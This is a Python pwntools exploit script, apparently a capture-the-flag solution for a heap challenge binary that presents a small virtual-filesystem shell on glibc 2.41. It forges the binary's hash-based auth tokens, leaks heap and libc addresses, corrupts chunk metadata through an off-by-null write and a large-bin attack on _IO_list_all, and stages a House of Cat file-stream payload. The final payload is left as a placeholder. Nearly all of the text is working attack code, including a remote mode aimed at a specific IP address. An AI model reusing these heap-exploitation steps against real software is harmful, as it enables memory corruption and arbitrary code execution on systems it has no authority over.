1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| from pwn import * from optparse import OptionParser import string
parser = OptionParser() parser.add_option("-m", "--mode", dest="mode", default="local") (options, args) = parser.parse_args() context(os="linux",arch="x86_64",log_level="debug") context.terminal=["tmux","splitw","-h"]
targetELF="./pwn" binary=ELF(targetELF,checksec=False) libc=ELF("/home/k40/Pwn/Tools/glibc-all-in-one/libs/2.41-6ubuntu1.2_amd64/libc.so.6",checksec=False)
def Launch(): if options.mode=="local": io=process(targetELF) elif options.mode=="remote": io=remote("101.245.104.190",10000) elif options.mode=="debug": io=gdb.debug(targetELF,"source ./debug.gdb") return io
def HashToken(message_): key=-2128831035 for item_ in message_: key ^= ord(item_) key = (key * 0x01000193) & 0xFFFFFFFF val_=key shr16_xor=val_^(val_>>16) imul=(shr16_xor*2146121005)&0xffffffff shr15=imul>>15 final_xor=shr15^imul result=(-2073254261*final_xor)&0xffffffff result=result^(result>>16) return result^0xa5a5a5a5
def Add(io,file_name_,size_): cmd="touch " cmd+=file_name_+' ' cmd += str(size_)+' ' auth_val=HashToken(file_name_) cmd+=str(auth_val) io.sendlineafter("vfs> ",cmd) io.recvuntil("[ok] created: ")
def Delete(io,file_name_): cmd="rm " cmd+=file_name_+' ' auth_val=HashToken(file_name_) cmd+=str(auth_val) io.sendlineafter("vfs> ",cmd) io.recvuntil("[ok] removed: ")
def Edit(io,file_name_,size_,content_): cmd="write " cmd+=file_name_+' ' cmd += str(size_)+' ' auth_val=HashToken(file_name_) cmd+=str(auth_val) io.sendlineafter("vfs> ",cmd) io.recvuntil("body(") io.sendafter("bytes) > ",content_) io.recvuntil("[ok] wrote: ")
def Show(io,file_name_,size_): cmd="cat " cmd+=file_name_+' ' auth_val=HashToken(file_name_) cmd+=str(auth_val) io.sendlineafter("vfs> ",cmd) content_=io.recv(size_) return content_
def HouseOfCat(): return b'1'*0x100
io=Launch() Add(io,"aaa",0x450) Add(io,"bbb",0x420) Add(io,"ccc",0x480) Add(io,"xyz",0x4b8) Delete(io,"ccc") Delete(io,"aaa") Add(io,"aaa",0x450) Add(io,"ccc",0x480) heap_leak=u64(Show(io,"ccc",0x430)[0x10:0x10+8].ljust(8,b'\x00')) main_arena96=u64(Show(io,"aaa",0x450)[:8].ljust(8,b'\x00'))
libc.address=main_arena96-0x210b20 IO_list_all=libc.symbols["_IO_list_all"] log.info("libc base ={}".format(hex(libc.address))) log.info("heap addr ={}".format(hex(heap_leak)))
xyz_addr=heap_leak+0x490 Add(io,"ntr",0x4f0) Add(io,"bigger",0x460) Add(io,"TMD",0x418)
off_by_null=p64(0)+p64(0x941) off_by_null+=p64(heap_leak+0x30)+p64(heap_leak+0x50) off_by_null+=p64(0)+p64(0x31) off_by_null+=p64(0)+p64(heap_leak+0x10) off_by_null+=p64(0)+p64(0x51) off_by_null+=p64(heap_leak+0x10)+p64(0) Edit(io,"ccc",len(off_by_null),off_by_null) Edit(io,"xyz",0x4b8,b'A'*0x4b0+p64(0x940)) Delete(io,"ntr")
Add(io,"cccback",0x418) Add(io,"xyzback",0x418) Add(io,"ntrback",0x420)
Delete(io,"bigger") Add(io,"bigger",0x460)
Add(io,"out",0x4e0) Delete(io,"ntrback") Add(io,"trig_sort",0x4e0) Delete(io,"cccback")
payload=b"A"*0x3b0 payload+=p64(0x420)+p64(0x431) payload+=p64(main_arena96-96+1104)+p64(main_arena96-96+1104) payload+=p64(xyz_addr+0x3c0)+p64(IO_list_all-0x20) Edit(io,"xyz",len(payload),payload) Add(io,"CNMD",0x4e0)
payload=p64(0)+p64(0x491)+HouseOfCat() Edit(io,"ccc",len(payload),payload) io.interactive()
|